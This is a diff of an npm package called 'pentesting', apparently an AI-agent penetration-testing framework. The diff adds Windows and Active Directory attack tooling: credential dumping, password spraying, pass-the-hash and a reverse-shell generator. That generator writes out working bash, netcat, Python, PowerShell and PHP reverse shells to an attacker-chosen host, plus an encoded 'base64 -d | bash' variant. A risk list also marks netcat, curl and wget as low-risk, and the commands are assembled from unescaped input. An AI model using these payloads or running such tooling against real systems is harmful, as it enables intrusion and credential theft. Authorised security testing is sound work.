pentesting 0.5.9 → 0.6.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -8,8 +8,8 @@ import {
8
8
  readVersionCache,
9
9
  semverTuple,
10
10
  writeVersionCache
11
- } from "./chunk-TK3QEEDA.js";
12
- import "./chunk-CKXQT3ON.js";
11
+ } from "./chunk-6MCOPWPF.js";
12
+ import "./chunk-6RVVWSNN.js";
13
13
  import "./chunk-3RG5ZIWI.js";
14
14
  export {
15
15
  checkForUpdate,
@@ -1,7 +1,7 @@
1
1
  import {
2
2
  APP_NAME,
3
3
  APP_VERSION
4
- } from "./chunk-CKXQT3ON.js";
4
+ } from "./chunk-6RVVWSNN.js";
5
5
 
6
6
  // src/core/update/auto-update.ts
7
7
  import { execSync } from "child_process";
@@ -93,10 +93,47 @@ var TOOL_NAME = {
93
93
  READ_FILE: "read_file",
94
94
  WRITE_FILE: "write_file",
95
95
  LIST_DIRECTORY: "list_directory",
96
- // Network
96
+ // Network - Basic Connectivity
97
+ PING: "ping",
98
+ TRACEROUTE: "traceroute",
97
99
  RUSTSCAN: "rustscan",
98
100
  NMAP_SCAN: "nmap_scan",
101
+ MASSCAN: "masscan",
99
102
  TCPDUMP_CAPTURE: "tcpdump_capture",
103
+ NETCAT: "netcat",
104
+ // DNS & Subdomain
105
+ DIG: "dig",
106
+ HOST: "host",
107
+ NSLOOKUP: "nslookup",
108
+ WHOIS: "whois",
109
+ SUBFINDER: "subfinder",
110
+ AMASS: "amass",
111
+ DNSENUM: "dnsenum",
112
+ // Web Recon & Tech Identification
113
+ WHATWEB: "whatweb",
114
+ HTTPX: "httpx",
115
+ NUCLEI: "nuclei",
116
+ NIKTO: "nikto",
117
+ FFUF: "ffuf",
118
+ FEROXBUSTER: "feroxbuster",
119
+ WAYBACKURLS: "waybackurls",
120
+ // Windows/SMB/AD
121
+ SMB_ENUM: "smb_enum",
122
+ ENUM4LINUX: "enum4linux",
123
+ CRACKMAPEXEC: "crackmapexec",
124
+ SMBCLIENT: "smbclient",
125
+ RPCCLIENT: "rpcclient",
126
+ WINRM: "winrm",
127
+ RDP_CHECK: "rdp_check",
128
+ LDAP_SEARCH: "ldap_search",
129
+ KERBRUTE: "kerbrute",
130
+ BLOODHOUND: "bloodhound",
131
+ // Database Clients
132
+ MSSQL_CLIENT: "mssql_client",
133
+ MYSQL_CLIENT: "mysql_client",
134
+ PSQL_CLIENT: "psql_client",
135
+ REDIS_CLI: "redis_cli",
136
+ MONGO_CLIENT: "mongo_client",
100
137
  // Web
101
138
  WEB_REQUEST: "web_request",
102
139
  DIRECTORY_BRUTEFORCE: "directory_bruteforce",
@@ -117,6 +154,7 @@ var TOOL_NAME = {
117
154
  // Post-Exploitation
118
155
  SETUP_TUNNEL: "setup_tunnel",
119
156
  LATERAL_MOVEMENT: "lateral_movement",
157
+ REVERSE_SHELL: "reverse_shell",
120
158
  // Reporting
121
159
  REPORT_FINDING: "report_finding",
122
160
  TAKE_SCREENSHOT: "take_screenshot"
package/dist/index.js CHANGED
@@ -15,7 +15,7 @@ import {
15
15
  PHASE_STATUS,
16
16
  THOUGHT_TYPE,
17
17
  TOOL_NAME
18
- } from "./chunk-CKXQT3ON.js";
18
+ } from "./chunk-6RVVWSNN.js";
19
19
  import {
20
20
  __require
21
21
  } from "./chunk-3RG5ZIWI.js";
@@ -365,6 +365,366 @@ Use for:
365
365
  }
366
366
  }
367
367
  ];
368
+ var WINDOWS_TOOLS = [
369
+ {
370
+ name: TOOL_NAME.NETCAT,
371
+ description: `Netcat (nc) - The TCP/IP Swiss Army Knife.
372
+
373
+ MODES:
374
+ - connect: Connect to a host/port
375
+ - listen: Listen for incoming connections
376
+ - scan: Port scanning (use rustscan instead for speed)
377
+ - transfer: File transfer
378
+ - reverse_shell: Set up reverse shell listener
379
+
380
+ EXAMPLES:
381
+ - Banner grab: nc -nv 10.10.10.5 21
382
+ - Listener: nc -lvnp 4444
383
+ - Connect: nc 10.10.10.5 4444
384
+ - Send file: nc -nv 10.10.10.5 4444 < file.txt`,
385
+ input_schema: {
386
+ type: "object",
387
+ properties: {
388
+ mode: { type: "string", enum: ["connect", "listen", "scan", "transfer"], description: "Operation mode" },
389
+ host: { type: "string", description: "Target host (for connect mode)" },
390
+ port: { type: "number", description: "Port number" },
391
+ listen: { type: "boolean", description: "Listen mode (-l)" },
392
+ verbose: { type: "boolean", description: "Verbose output (-v)" },
393
+ udp: { type: "boolean", description: "UDP mode (-u)" },
394
+ execute: { type: "string", description: "Execute command on connect (-e)" },
395
+ timeout: { type: "number", description: "Timeout in seconds (-w)" }
396
+ },
397
+ required: ["port"]
398
+ }
399
+ },
400
+ {
401
+ name: TOOL_NAME.SMB_ENUM,
402
+ description: `SMB enumeration - Enumerate Windows shares, users, groups.
403
+
404
+ QUICK SMB CHECKS:
405
+ 1. List shares: smbclient -L //target -N
406
+ 2. Anonymous access: smbclient //target/share -N
407
+ 3. Null session: rpcclient -U "" -N target`,
408
+ input_schema: {
409
+ type: "object",
410
+ properties: {
411
+ target: { type: "string", description: "Target IP/hostname" },
412
+ username: { type: "string", description: "Username (empty for null session)" },
413
+ password: { type: "string", description: "Password (empty for null session)" },
414
+ domain: { type: "string", description: "Domain name" },
415
+ shares: { type: "boolean", description: "List shares" },
416
+ users: { type: "boolean", description: "Enumerate users" },
417
+ groups: { type: "boolean", description: "Enumerate groups" }
418
+ },
419
+ required: ["target"]
420
+ }
421
+ },
422
+ {
423
+ name: TOOL_NAME.ENUM4LINUX,
424
+ description: `enum4linux - Windows/Samba enumeration tool.
425
+
426
+ EXTRACTS:
427
+ - User listing, Group listing
428
+ - Share enumeration
429
+ - Password policy
430
+ - OS information
431
+ - RID cycling for user enumeration`,
432
+ input_schema: {
433
+ type: "object",
434
+ properties: {
435
+ target: { type: "string", description: "Target IP" },
436
+ all: { type: "boolean", description: "Do all enumeration (-a)" },
437
+ users: { type: "boolean", description: "Get user list (-U)" },
438
+ shares: { type: "boolean", description: "Get share list (-S)" },
439
+ policies: { type: "boolean", description: "Get password policies (-P)" },
440
+ groups: { type: "boolean", description: "Get group info (-G)" },
441
+ username: { type: "string", description: "Username for auth" },
442
+ password: { type: "string", description: "Password for auth" }
443
+ },
444
+ required: ["target"]
445
+ }
446
+ },
447
+ {
448
+ name: TOOL_NAME.CRACKMAPEXEC,
449
+ description: `CrackMapExec (CME) - Swiss army knife for Windows/AD pentesting.
450
+
451
+ PROTOCOLS: smb, winrm, mssql, ssh, ldap
452
+ FEATURES:
453
+ - Password spraying
454
+ - Credential validation
455
+ - Pass-the-Hash
456
+ - Command execution
457
+ - Credential dumping (SAM, LSA, NTDS.dit)
458
+ - Mimikatz, Bloodhound integration
459
+
460
+ EXAMPLES:
461
+ - cme smb 10.10.10.0/24 -u user -p pass
462
+ - cme smb target -u user -H hash --shares
463
+ - cme smb target -u user -p pass -x "whoami"
464
+ - cme smb target -u user -p pass --sam`,
465
+ input_schema: {
466
+ type: "object",
467
+ properties: {
468
+ protocol: { type: "string", enum: ["smb", "winrm", "mssql", "ssh", "ldap"], description: "Protocol to use" },
469
+ target: { type: "string", description: "Target IP/CIDR/hostname" },
470
+ username: { type: "string", description: "Username or file" },
471
+ password: { type: "string", description: "Password or file" },
472
+ hash: { type: "string", description: "NTLM hash for pass-the-hash" },
473
+ domain: { type: "string", description: "Domain name" },
474
+ command: { type: "string", description: "Command to execute (-x)" },
475
+ shares: { type: "boolean", description: "Enumerate shares" },
476
+ users: { type: "boolean", description: "Enumerate users" },
477
+ pass_pol: { type: "boolean", description: "Get password policy" },
478
+ sam: { type: "boolean", description: "Dump SAM hashes" },
479
+ lsa: { type: "boolean", description: "Dump LSA secrets" },
480
+ ntds: { type: "boolean", description: "Dump NTDS.dit (DC only)" }
481
+ },
482
+ required: ["protocol", "target"]
483
+ }
484
+ },
485
+ {
486
+ name: TOOL_NAME.SMBCLIENT,
487
+ description: `smbclient - FTP-like client for SMB/CIFS resources.
488
+
489
+ COMMANDS:
490
+ - List shares: smbclient -L //target -N
491
+ - Connect: smbclient //target/share -U user%pass
492
+ - Download: get file.txt
493
+ - Upload: put local.txt
494
+ - Recurse download: recurse; prompt; mget *`,
495
+ input_schema: {
496
+ type: "object",
497
+ properties: {
498
+ target: { type: "string", description: "Target (//IP/share)" },
499
+ username: { type: "string", description: "Username" },
500
+ password: { type: "string", description: "Password" },
501
+ command: { type: "string", description: "Command to run (-c)" },
502
+ list: { type: "boolean", description: "List shares only (-L)" },
503
+ no_pass: { type: "boolean", description: "No password (-N)" }
504
+ },
505
+ required: ["target"]
506
+ }
507
+ },
508
+ {
509
+ name: TOOL_NAME.RPCCLIENT,
510
+ description: `rpcclient - Tool for MS-RPC functions.
511
+
512
+ USEFUL COMMANDS:
513
+ - enumdomusers: List domain users
514
+ - enumdomgroups: List domain groups
515
+ - queryuser 0x[RID]: Get user info
516
+ - querygroupmem 0x[RID]: Get group members
517
+ - lookupnames [user]: Get user SID
518
+ - lookupsids [SID]: Get username from SID`,
519
+ input_schema: {
520
+ type: "object",
521
+ properties: {
522
+ target: { type: "string", description: "Target IP" },
523
+ username: { type: "string", description: "Username" },
524
+ password: { type: "string", description: "Password" },
525
+ command: { type: "string", description: "RPC command to run (-c)" },
526
+ no_pass: { type: "boolean", description: "Null session (-N)" }
527
+ },
528
+ required: ["target"]
529
+ }
530
+ },
531
+ {
532
+ name: TOOL_NAME.WINRM,
533
+ description: `evil-winrm - WinRM shell for Windows post-exploitation.
534
+
535
+ FEATURES:
536
+ - Interactive PowerShell session
537
+ - Pass-the-Hash and Kerberos auth
538
+ - In-memory script/DLL loading
539
+ - File upload/download
540
+ - AMSI bypass
541
+
542
+ PORTS: 5985 (HTTP), 5986 (HTTPS)`,
543
+ input_schema: {
544
+ type: "object",
545
+ properties: {
546
+ target: { type: "string", description: "Target IP" },
547
+ username: { type: "string", description: "Username" },
548
+ password: { type: "string", description: "Password" },
549
+ hash: { type: "string", description: "NTLM hash (pass-the-hash)" },
550
+ ssl: { type: "boolean", description: "Use SSL (port 5986)" },
551
+ scripts: { type: "string", description: "PowerShell scripts path" },
552
+ executables: { type: "string", description: "Executables path" }
553
+ },
554
+ required: ["target", "username"]
555
+ }
556
+ },
557
+ {
558
+ name: TOOL_NAME.RDP_CHECK,
559
+ description: `RDP connection testing and exploitation.
560
+
561
+ CHECKS:
562
+ - rdp_check.py: Verify RDP access
563
+ - xfreerdp: Full RDP connection
564
+ - BlueKeep scanner (CVE-2019-0708)
565
+
566
+ PORTS: 3389 (default)`,
567
+ input_schema: {
568
+ type: "object",
569
+ properties: {
570
+ target: { type: "string", description: "Target IP" },
571
+ username: { type: "string", description: "Username" },
572
+ password: { type: "string", description: "Password" },
573
+ hash: { type: "string", description: "NTLM hash" },
574
+ domain: { type: "string", description: "Domain" },
575
+ check_only: { type: "boolean", description: "Only check access (no connect)" }
576
+ },
577
+ required: ["target"]
578
+ }
579
+ },
580
+ {
581
+ name: TOOL_NAME.LDAP_SEARCH,
582
+ description: `LDAP enumeration for Active Directory.
583
+
584
+ COMMON QUERIES:
585
+ - Users: (objectClass=user)
586
+ - Computers: (objectClass=computer)
587
+ - Groups: (objectClass=group)
588
+ - Admins: (memberOf=CN=Domain Admins,...)
589
+ - SPNs: (servicePrincipalName=*)
590
+
591
+ PORTS: 389 (LDAP), 636 (LDAPS), 3268 (Global Catalog)`,
592
+ input_schema: {
593
+ type: "object",
594
+ properties: {
595
+ target: { type: "string", description: "Domain controller IP" },
596
+ base_dn: { type: "string", description: "Base DN (e.g., DC=domain,DC=local)" },
597
+ filter: { type: "string", description: "LDAP filter" },
598
+ username: { type: "string", description: "Username" },
599
+ password: { type: "string", description: "Password" },
600
+ attributes: { type: "string", description: "Attributes to retrieve" }
601
+ },
602
+ required: ["target"]
603
+ }
604
+ },
605
+ {
606
+ name: TOOL_NAME.KERBRUTE,
607
+ description: `Kerbrute - Kerberos bruteforce and enumeration.
608
+
609
+ MODES:
610
+ - userenum: Enumerate valid usernames via Kerberos
611
+ - passwordspray: Password spray attack
612
+ - bruteuser: Brute force single user
613
+
614
+ STEALTHY: Uses Kerberos pre-auth, minimal logs`,
615
+ input_schema: {
616
+ type: "object",
617
+ properties: {
618
+ mode: { type: "string", enum: ["userenum", "passwordspray", "bruteuser"], description: "Attack mode" },
619
+ dc: { type: "string", description: "Domain controller" },
620
+ domain: { type: "string", description: "Domain name" },
621
+ users: { type: "string", description: "Username or wordlist" },
622
+ passwords: { type: "string", description: "Password or wordlist" }
623
+ },
624
+ required: ["mode", "dc", "domain"]
625
+ }
626
+ },
627
+ {
628
+ name: TOOL_NAME.BLOODHOUND,
629
+ description: `BloodHound - Active Directory attack path visualization.
630
+
631
+ COLLECTORS:
632
+ - SharpHound (Windows): .exe or .ps1
633
+ - bloodhound-python (Linux): Remote collection
634
+
635
+ DATA COLLECTED:
636
+ - Users, Groups, Computers
637
+ - Sessions, Local Admins
638
+ - Group memberships, ACLs
639
+ - Trust relationships`,
640
+ input_schema: {
641
+ type: "object",
642
+ properties: {
643
+ target: { type: "string", description: "Domain controller" },
644
+ domain: { type: "string", description: "Domain name" },
645
+ username: { type: "string", description: "Username" },
646
+ password: { type: "string", description: "Password" },
647
+ collection: { type: "string", enum: ["all", "default", "session", "acl", "trusts"], description: "Collection method" },
648
+ zip: { type: "boolean", description: "Zip output files" }
649
+ },
650
+ required: ["domain", "username", "password"]
651
+ }
652
+ },
653
+ {
654
+ name: TOOL_NAME.MSSQL_CLIENT,
655
+ description: `MSSQL client for Microsoft SQL Server.
656
+
657
+ USES impacket-mssqlclient / mssqlclient.py
658
+
659
+ FEATURES:
660
+ - SQL query execution
661
+ - xp_cmdshell command execution
662
+ - File read/write
663
+ - Linked server attacks
664
+
665
+ PORT: 1433`,
666
+ input_schema: {
667
+ type: "object",
668
+ properties: {
669
+ target: { type: "string", description: "Target IP" },
670
+ username: { type: "string", description: "Username (user@domain or domain/user)" },
671
+ password: { type: "string", description: "Password" },
672
+ hash: { type: "string", description: "NTLM hash" },
673
+ query: { type: "string", description: "SQL query to execute" },
674
+ windows_auth: { type: "boolean", description: "Use Windows authentication" }
675
+ },
676
+ required: ["target"]
677
+ }
678
+ },
679
+ {
680
+ name: TOOL_NAME.MYSQL_CLIENT,
681
+ description: `MySQL client for database access.
682
+
683
+ PORT: 3306
684
+
685
+ COMMON COMMANDS:
686
+ - show databases;
687
+ - use database_name;
688
+ - show tables;
689
+ - SELECT * FROM users;`,
690
+ input_schema: {
691
+ type: "object",
692
+ properties: {
693
+ target: { type: "string", description: "Target IP" },
694
+ username: { type: "string", description: "Username" },
695
+ password: { type: "string", description: "Password" },
696
+ database: { type: "string", description: "Database name" },
697
+ query: { type: "string", description: "SQL query to execute" }
698
+ },
699
+ required: ["target"]
700
+ }
701
+ },
702
+ {
703
+ name: TOOL_NAME.REVERSE_SHELL,
704
+ description: `Generate reverse shell payloads.
705
+
706
+ TYPES:
707
+ - bash: Bash TCP reverse shell
708
+ - nc: Netcat reverse shell
709
+ - python: Python reverse shell
710
+ - powershell: PowerShell reverse shell (Windows)
711
+ - php: PHP reverse shell (Web shells)
712
+ - msfvenom: Metasploit payload generation
713
+
714
+ LISTENER: nc -lvnp PORT`,
715
+ input_schema: {
716
+ type: "object",
717
+ properties: {
718
+ type: { type: "string", enum: ["bash", "nc", "python", "powershell", "php", "msfvenom"], description: "Shell type" },
719
+ lhost: { type: "string", description: "Your IP (listener)" },
720
+ lport: { type: "number", description: "Your port (listener)" },
721
+ platform: { type: "string", enum: ["linux", "windows"], description: "Target platform" },
722
+ encode: { type: "boolean", description: "Base64 encode payload" }
723
+ },
724
+ required: ["type", "lhost", "lport"]
725
+ }
726
+ }
727
+ ];
368
728
  var WEB_TOOLS = [
369
729
  {
370
730
  name: TOOL_NAME.WEB_REQUEST,
@@ -701,6 +1061,7 @@ var REPORT_TOOLS = [
701
1061
  var ALL_TOOLS = [
702
1062
  ...SYSTEM_TOOLS,
703
1063
  ...NETWORK_TOOLS,
1064
+ ...WINDOWS_TOOLS,
704
1065
  ...WEB_TOOLS,
705
1066
  ...EXPLOIT_TOOLS,
706
1067
  ...CREDENTIAL_TOOLS,
@@ -878,6 +1239,49 @@ async function executeToolCall(toolName, input) {
878
1239
  case "lateral_movement":
879
1240
  result = await executeLateralMovement(input);
880
1241
  break;
1242
+ // Windows / SMB / AD Tools
1243
+ case "netcat":
1244
+ result = await executeNetcat(input);
1245
+ break;
1246
+ case "smb_enum":
1247
+ result = await executeSmbEnum(input);
1248
+ break;
1249
+ case "enum4linux":
1250
+ result = await executeEnum4linux(input);
1251
+ break;
1252
+ case "crackmapexec":
1253
+ result = await executeCrackmapexec(input);
1254
+ break;
1255
+ case "smbclient":
1256
+ result = await executeSmbclient(input);
1257
+ break;
1258
+ case "rpcclient":
1259
+ result = await executeRpcclient(input);
1260
+ break;
1261
+ case "winrm":
1262
+ result = await executeWinrm(input);
1263
+ break;
1264
+ case "rdp_check":
1265
+ result = await executeRdpCheck(input);
1266
+ break;
1267
+ case "ldap_search":
1268
+ result = await executeLdapSearch(input);
1269
+ break;
1270
+ case "kerbrute":
1271
+ result = await executeKerbrute(input);
1272
+ break;
1273
+ case "bloodhound":
1274
+ result = await executeBloodhound(input);
1275
+ break;
1276
+ case "mssql_client":
1277
+ result = await executeMssqlClient(input);
1278
+ break;
1279
+ case "mysql_client":
1280
+ result = await executeMysqlClient(input);
1281
+ break;
1282
+ case "reverse_shell":
1283
+ result = await executeReverseShell(input);
1284
+ break;
881
1285
  // report
882
1286
  case "report_finding":
883
1287
  result = await reportFinding(input);
@@ -1331,6 +1735,204 @@ const { chromium } = require('playwright');
1331
1735
  }
1332
1736
  return executeBash(`script -q /dev/null -c "cat" | tee "${filename || "terminal.txt"}"`);
1333
1737
  }
1738
+ async function executeNetcat(input) {
1739
+ const { mode, host, port, listen, verbose, udp, execute, timeout } = input;
1740
+ let cmd = "nc";
1741
+ if (verbose) cmd += " -v";
1742
+ if (udp) cmd += " -u";
1743
+ if (timeout) cmd += ` -w ${timeout}`;
1744
+ if (listen || mode === "listen") {
1745
+ cmd += ` -lnp ${port}`;
1746
+ if (execute) cmd += ` -e ${execute}`;
1747
+ } else {
1748
+ cmd += ` -n ${host} ${port}`;
1749
+ }
1750
+ return executeBash(cmd, { timeout: (timeout || 30) * 1e3 });
1751
+ }
1752
+ async function executeSmbEnum(input) {
1753
+ const { target, username, password, shares, users, groups } = input;
1754
+ const commands = [];
1755
+ if (shares || !users && !groups) {
1756
+ commands.push(`smbclient -L //${target} -N 2>/dev/null || echo "Shares listing failed"`);
1757
+ }
1758
+ if (users) {
1759
+ commands.push(`rpcclient -U "" -N ${target} -c "enumdomusers" 2>/dev/null || echo "User enum failed"`);
1760
+ }
1761
+ if (groups) {
1762
+ commands.push(`rpcclient -U "" -N ${target} -c "enumdomgroups" 2>/dev/null || echo "Group enum failed"`);
1763
+ }
1764
+ if (username && password) {
1765
+ commands.push(`smbclient -L //${target} -U "${username}%${password}" 2>/dev/null`);
1766
+ }
1767
+ const cmd = commands.join(' && echo "---" && ');
1768
+ return executeBash(cmd, { timeout: 6e4 });
1769
+ }
1770
+ async function executeEnum4linux(input) {
1771
+ const { target, all, users, shares, policies, groups, username, password } = input;
1772
+ let cmd = `enum4linux`;
1773
+ if (all) {
1774
+ cmd += " -a";
1775
+ } else {
1776
+ if (users) cmd += " -U";
1777
+ if (shares) cmd += " -S";
1778
+ if (policies) cmd += " -P";
1779
+ if (groups) cmd += " -G";
1780
+ }
1781
+ if (username && password) {
1782
+ cmd += ` -u "${username}" -p "${password}"`;
1783
+ }
1784
+ cmd += ` ${target}`;
1785
+ return executeBash(cmd, { timeout: 3e5 });
1786
+ }
1787
+ async function executeCrackmapexec(input) {
1788
+ const { protocol, target, username, password, hash, domain, command, shares, users, pass_pol, sam, lsa, ntds } = input;
1789
+ let cmd = `crackmapexec ${protocol} ${target}`;
1790
+ if (username) cmd += ` -u "${username}"`;
1791
+ if (password) cmd += ` -p "${password}"`;
1792
+ if (hash) cmd += ` -H "${hash}"`;
1793
+ if (domain) cmd += ` -d "${domain}"`;
1794
+ if (command) cmd += ` -x "${command}"`;
1795
+ if (shares) cmd += " --shares";
1796
+ if (users) cmd += " --users";
1797
+ if (pass_pol) cmd += " --pass-pol";
1798
+ if (sam) cmd += " --sam";
1799
+ if (lsa) cmd += " --lsa";
1800
+ if (ntds) cmd += " --ntds";
1801
+ return executeBash(cmd, { timeout: 3e5 });
1802
+ }
1803
+ async function executeSmbclient(input) {
1804
+ const { target, username, password, command, list, no_pass } = input;
1805
+ let cmd = `smbclient ${target}`;
1806
+ if (list) {
1807
+ cmd = `smbclient -L ${String(target).replace(/\/\//g, "")}`;
1808
+ }
1809
+ if (username && password) {
1810
+ cmd += ` -U "${username}%${password}"`;
1811
+ } else if (no_pass) {
1812
+ cmd += " -N";
1813
+ }
1814
+ if (command && !list) {
1815
+ cmd += ` -c "${command}"`;
1816
+ }
1817
+ return executeBash(cmd, { timeout: 6e4 });
1818
+ }
1819
+ async function executeRpcclient(input) {
1820
+ const { target, username, password, command, no_pass } = input;
1821
+ let cmd = `rpcclient ${target}`;
1822
+ if (username && password) {
1823
+ cmd += ` -U "${username}%${password}"`;
1824
+ } else if (no_pass) {
1825
+ cmd += ' -U "" -N';
1826
+ }
1827
+ if (command) {
1828
+ cmd += ` -c "${command}"`;
1829
+ }
1830
+ return executeBash(cmd, { timeout: 6e4 });
1831
+ }
1832
+ async function executeWinrm(input) {
1833
+ const { target, username, password, hash, ssl } = input;
1834
+ let cmd = `evil-winrm -i ${target} -u "${username}"`;
1835
+ if (password) cmd += ` -p "${password}"`;
1836
+ if (hash) cmd += ` -H "${hash}"`;
1837
+ if (ssl) cmd += " -S";
1838
+ cmd += ' -c "whoami && hostname && ipconfig /all"';
1839
+ return executeBash(cmd, { timeout: 6e4 });
1840
+ }
1841
+ async function executeRdpCheck(input) {
1842
+ const { target, username, password, hash, domain, check_only } = input;
1843
+ if (check_only) {
1844
+ return executeBash(`nmap -p 3389 --open -sV ${target}`, { timeout: 3e4 });
1845
+ }
1846
+ let cmd = `xfreerdp /v:${target}`;
1847
+ if (username) cmd += ` /u:"${username}"`;
1848
+ if (password) cmd += ` /p:"${password}"`;
1849
+ if (hash) cmd += ` /pth:"${hash}"`;
1850
+ if (domain) cmd += ` /d:"${domain}"`;
1851
+ cmd += " /cert-ignore +auth-only";
1852
+ return executeBash(cmd, { timeout: 3e4 });
1853
+ }
1854
+ async function executeLdapSearch(input) {
1855
+ const { target, base_dn, filter, username, password, attributes } = input;
1856
+ let cmd = `ldapsearch -x -H ldap://${target}`;
1857
+ if (base_dn) cmd += ` -b "${base_dn}"`;
1858
+ if (username) cmd += ` -D "${username}"`;
1859
+ if (password) cmd += ` -w "${password}"`;
1860
+ cmd += ` "${filter || "(objectClass=*)"}"`;
1861
+ if (attributes) cmd += ` ${attributes}`;
1862
+ return executeBash(cmd, { timeout: 12e4 });
1863
+ }
1864
+ async function executeKerbrute(input) {
1865
+ const { mode, dc, domain, users, passwords } = input;
1866
+ let cmd = `kerbrute ${mode}`;
1867
+ if (mode === "userenum") {
1868
+ cmd += ` --dc ${dc} -d ${domain} ${users}`;
1869
+ } else if (mode === "passwordspray") {
1870
+ cmd += ` --dc ${dc} -d ${domain} ${users} ${passwords}`;
1871
+ } else if (mode === "bruteuser") {
1872
+ cmd += ` --dc ${dc} -d ${domain} ${users} ${passwords}`;
1873
+ }
1874
+ return executeBash(cmd, { timeout: 6e5 });
1875
+ }
1876
+ async function executeBloodhound(input) {
1877
+ const { domain, username, password, collection, zip } = input;
1878
+ let cmd = `bloodhound-python -u "${username}" -p "${password}" -d ${domain}`;
1879
+ if (collection) cmd += ` -c ${collection}`;
1880
+ if (zip) cmd += " --zip";
1881
+ return executeBash(cmd, { timeout: 6e5 });
1882
+ }
1883
+ async function executeMssqlClient(input) {
1884
+ const { target, username, password, hash, query, windows_auth } = input;
1885
+ let cmd = `impacket-mssqlclient`;
1886
+ if (windows_auth) {
1887
+ cmd += ` "${username}"@${target}`;
1888
+ } else {
1889
+ cmd += ` ${username}:${password}@${target}`;
1890
+ }
1891
+ if (hash) cmd += ` -hashes :${hash}`;
1892
+ if (query) {
1893
+ cmd += ` -q "${query}"`;
1894
+ }
1895
+ return executeBash(cmd, { timeout: 6e4 });
1896
+ }
1897
+ async function executeMysqlClient(input) {
1898
+ const { target, username, password, database, query } = input;
1899
+ let cmd = `mysql -h ${target}`;
1900
+ if (username) cmd += ` -u "${username}"`;
1901
+ if (password) cmd += ` -p"${password}"`;
1902
+ if (database) cmd += ` ${database}`;
1903
+ if (query) {
1904
+ cmd += ` -e "${query}"`;
1905
+ }
1906
+ return executeBash(cmd, { timeout: 6e4 });
1907
+ }
1908
+ async function executeReverseShell(input) {
1909
+ const { type, lhost, lport, platform: platform2, encode } = input;
1910
+ const shells = {
1911
+ bash: `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`,
1912
+ nc: `nc -e /bin/bash ${lhost} ${lport}`,
1913
+ python: `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${lhost}",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'`,
1914
+ powershell: `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${lhost}',${lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`,
1915
+ php: `php -r '$sock=fsockopen("${lhost}",${lport});exec("/bin/bash <&3 >&3 2>&3");'`
1916
+ };
1917
+ if (type === "msfvenom") {
1918
+ const payload = platform2 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
1919
+ return executeBash(`msfvenom -p ${payload} LHOST=${lhost} LPORT=${lport} -f exe -o /tmp/shell.exe && echo "Payload saved to /tmp/shell.exe"`);
1920
+ }
1921
+ let shellCmd = shells[type] || shells.bash;
1922
+ if (encode) {
1923
+ shellCmd = Buffer.from(shellCmd).toString("base64");
1924
+ shellCmd = `echo "${shellCmd}" | base64 -d | bash`;
1925
+ }
1926
+ return {
1927
+ success: true,
1928
+ output: `Reverse Shell Payload (${type}):
1929
+
1930
+ ${shellCmd}
1931
+
1932
+ Listener: nc -lvnp ${lport}`,
1933
+ duration: 0
1934
+ };
1935
+ }
1334
1936
 
1335
1937
  // src/core/hooks/hook-executor.ts
1336
1938
  import { spawn as spawn2 } from "child_process";
@@ -1701,23 +2303,124 @@ var HIGH_RISK_PATTERNS = [
1701
2303
  /meterpreter/i,
1702
2304
  /mimikatz/i
1703
2305
  ];
2306
+ var LOW_RISK_TOOLS = [
2307
+ "ping",
2308
+ "traceroute",
2309
+ "tracert",
2310
+ "mtr",
2311
+ "dig",
2312
+ "host",
2313
+ "nslookup",
2314
+ "whois",
2315
+ "dnsenum",
2316
+ "curl",
2317
+ "wget",
2318
+ "httpx",
2319
+ "whatweb",
2320
+ "rustscan",
2321
+ "nmap_scan",
2322
+ "nmap",
2323
+ "masscan",
2324
+ "subfinder",
2325
+ "amass",
2326
+ "assetfinder",
2327
+ "ffuf",
2328
+ "gobuster",
2329
+ "feroxbuster",
2330
+ "dirsearch",
2331
+ "smbclient",
2332
+ "rpcclient",
2333
+ "enum4linux",
2334
+ "ldapsearch",
2335
+ "netcat",
2336
+ "nc",
2337
+ "telnet",
2338
+ "ftp",
2339
+ "read_file",
2340
+ "list_directory",
2341
+ "cat",
2342
+ "ls",
2343
+ "find",
2344
+ "grep",
2345
+ "searchsploit",
2346
+ "nikto",
2347
+ "nuclei",
2348
+ "web_request",
2349
+ "directory_bruteforce"
2350
+ ];
2351
+ var LOW_RISK_PATTERNS = [
2352
+ /^ping\s/i,
2353
+ /^traceroute\s/i,
2354
+ /^tracert\s/i,
2355
+ /^mtr\s/i,
2356
+ /^dig\s/i,
2357
+ /^host\s/i,
2358
+ /^nslookup\s/i,
2359
+ /^whois\s/i,
2360
+ /^curl\s/i,
2361
+ /^wget\s/i,
2362
+ /^nmap\s/i,
2363
+ /^rustscan\s/i,
2364
+ /^masscan\s/i,
2365
+ /^subfinder/i,
2366
+ /^amass\s/i,
2367
+ /^ffuf\s/i,
2368
+ /^gobuster\s/i,
2369
+ /^feroxbuster\s/i,
2370
+ /^whatweb\s/i,
2371
+ /^httpx\s/i,
2372
+ /^nikto\s/i,
2373
+ /^nuclei\s/i,
2374
+ /^smbclient\s/i,
2375
+ /^rpcclient\s/i,
2376
+ /^enum4linux\s/i,
2377
+ /^ldapsearch\s/i,
2378
+ /^crackmapexec\s.*--shares/i,
2379
+ /^crackmapexec\s.*--users/i,
2380
+ /^searchsploit\s/i,
2381
+ /^cat\s/i,
2382
+ /^ls\s/i,
2383
+ /^find\s/i,
2384
+ /^grep\s/i,
2385
+ /^head\s/i,
2386
+ /^tail\s/i,
2387
+ /^file\s/i,
2388
+ /^strings\s/i,
2389
+ /^netstat/i,
2390
+ /^ss\s/i,
2391
+ /^arp\s/i,
2392
+ /^ip\s+a/i,
2393
+ /^ifconfig/i,
2394
+ /^id$/i,
2395
+ /^whoami$/i,
2396
+ /^uname/i,
2397
